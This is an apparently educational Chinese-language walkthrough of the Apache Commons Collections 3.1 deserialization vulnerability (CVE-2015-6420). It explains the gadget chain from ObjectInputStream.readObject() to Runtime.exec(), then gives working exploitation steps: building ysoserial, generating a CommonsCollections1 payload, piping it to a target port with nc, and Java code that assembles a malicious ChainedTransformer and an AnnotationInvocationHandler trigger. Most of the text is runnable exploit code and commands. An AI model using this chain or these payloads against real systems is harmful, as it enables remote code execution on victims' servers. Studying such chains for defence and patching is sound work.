Apache Commons Collections是一个广泛使用的Java库,提供了许多有用的数据结构工具类。在3.1及以下版本中存在反序列化漏洞(CVE-2015-6420),攻击者可以通过精心构造的序列化数据在目标系统上执行任意代码。
漏洞的核心在于InvokerTransformer
类,它可以通过反射调用任意方法。当与TransformedMap
或LazyMap
结合使用时,恶意序列化对象在反序列化过程中会触发命令执行。
下载有漏洞版本的Commons Collections:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
准备一个接受序列化数据的Java应用(如RMI服务、HTTP服务等)
InvokerTransformer: 通过反射调用任意方法
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (Exception ex) {
// ...
}
}
TransformedMap/LazyMap: 在反序列化时自动调用transform方法
AnnotationInvocationHandler: JDK内部类,在反序列化时会读取Map内容
ObjectInputStream.readObject()
-> AnnotationInvocationHandler.readObject()
-> Map.entrySet().iterator().next().setValue()
-> TransformedMap.checkSetValue()
-> InvokerTransformer.transform()
-> Runtime.exec()
下载ysoserial工具:
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package
生成payload:
java -jar ysoserial.jar CommonsCollections1 "command_to_execute" > payload.bin
发送payload到目标应用(假设目标监听12345端口):
nc target_ip 12345 < payload.bin
创建恶意Transformer链:
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers);
创建TransformedMap:
Map innerMap = new HashMap();
innerMap.put("value", "doesntmatter");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
使用AnnotationInvocationHandler触发:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Override.class, outerMap);
序列化并发送payload